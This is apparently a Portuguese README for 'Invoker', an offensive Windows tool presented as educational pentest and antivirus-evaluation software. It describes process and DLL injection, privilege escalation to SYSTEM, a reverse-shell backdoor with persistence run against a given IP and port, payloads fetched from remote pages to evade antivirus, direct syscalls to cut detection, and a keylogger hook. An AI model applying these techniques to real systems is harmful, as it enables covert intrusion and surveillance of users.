
Ferramenta de teste de penetração e avaliação de antivírus.
Ferramenta de teste de penetração e avaliação de antivírus.
Construído com Visual Studio Community 2022 v17.5.4 (64-bit) e testado no Windows 10 Enterprise OS (64-bit).
Feito para fins educacionais. Espero que ajude!
Este repositório começou a ter assinaturas conhecidas e não tenho tempo para enviar novos executáveis a cada vez, então você deve compilar este projeto você mesmo.
Sites úteis:
A fazer:
NtCreateProcessEx não funciona bem com processos de 32 bits.Planos futuros:
Coisas que tenho em mente ao codificar:
Tudo isso resultará em seu PE tendo tamanho menor e menor taxa de detecção.
Recursos:
Veja a biblioteca Invoker aqui. Sinta-se à vontade para usá-la!
Alguns recursos podem exigir privilégio administrativo.
Alguns recursos podem não funcionar no Windows XP e anteriores devido a alguns direitos de acesso e sinalizadores de controle específicos usados.
Execute Invoker_x86.exe (32-bit) ou Invoker_x64.exe (64-bit).
Para automatizar o backdoor de reverse shell enquanto adiciona persistência, execute o seguinte comando:
Invoker_x64.exe 192.168.8.5:9000
Invoker de 32 bits pode:
Invoker de 64 bits pode:
Observe que cada técnica de injeção tem prós e contras; por exemplo, algumas técnicas exigem menos direitos de acesso, usam métodos menos suspeitos, etc., mas podem, por exemplo, travar o processo, precisar de tempo e outras condições especiais para executar o payload, etc.
Observe que alguns implants C2C podem não funcionar após liberar a memória. Nesse caso, comente métodos como VirtualFreeEx, NtFreeVirtualMemory, etc.
Eleve privilégios injetando bytecode em um processo de privilégio mais alto.
Esta ferramenta pode baixar o conteúdo de um arquivo binário na memória e injetá-lo em um processo em execução. Ela também pode analisar uma resposta HTTP e extrair o payload de um elemento personalizado, por exemplo, de <invoker>payload</invoker> onde payload é um código binário codificado em Base64.
Veja o exemplo em pastebin.com/raw/xf9Trt0d.
Isso é útil se o antivírus está constantemente deletando seus payloads locais.
Veja um exemplo adicional em pastebin.com/raw/iW17rCxH - payload oculto no elemento de imagem.
P.S. Os bytecodes fornecidos certamente não funcionarão para você.
Use ngrok para dar ao seu servidor web local um endereço público.
Para ver se um processo é de 32 ou 64 bits, abra o Gerenciador de Tarefas -> clique em Mais detalhes -> vá na guia Detalhes -> clique com o botão direito em qualquer coluna -> clique em Selecionar colunas -> marque a caixa Plataforma.
Para ver se um processo está sendo executado com privilégio administrativo, marque a caixa Elevado.
Descubra como gerar um payload de reverse shell no meu outro projeto, bem como configurar listeners Ncat e multi/handler.
A injeção de bytecode pode falhar porque o bytecode pode ter caracteres ruins, função de saída errada ou codificação; a injeção de DLL é mais confiável.
Se desejar executar um reverse shell ou bind shell do PowerShell a partir do Invoker, abra o Invoker e inicie uma sessão do PowerShell, então execute qualquer um dos one-liners (do meu outro projeto).
A biblioteca e o assembly de chamadas diretas ao sistema foram gerados com SysWhispers2. Créditos ao autor!
Para gerar a mesma biblioteca e assembly, execute o seguinte comando no console de sua preferência:
python3 syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx,NtTerminateProcess -a all -o syscalls
Veja meu wrapper em torno da biblioteca e assembly aqui. Sinta-se à vontade para usá-lo!
Veja a DLL simples com um procedimento de hook aqui. O procedimento de hook invocará uma caixa de mensagem a cada fechamento de janela.
Veja o procedimento de hook de teclado (i.e., keylogger) aqui.
Veja o procedimento de hook de mouse que executará um novo processo no primeiro clique do mouse aqui.
Não se esqueça de remover todos os artefatos criados após terminar os testes, por exemplo, remova keylogger.log, etc.
Siga estes passos simples:
whoami, você agora deve ver nt authority\system.
Figura 1 - Invoker

Figura 2 - Injeção de Bytecode

Figura 3 - Privilégios Elevados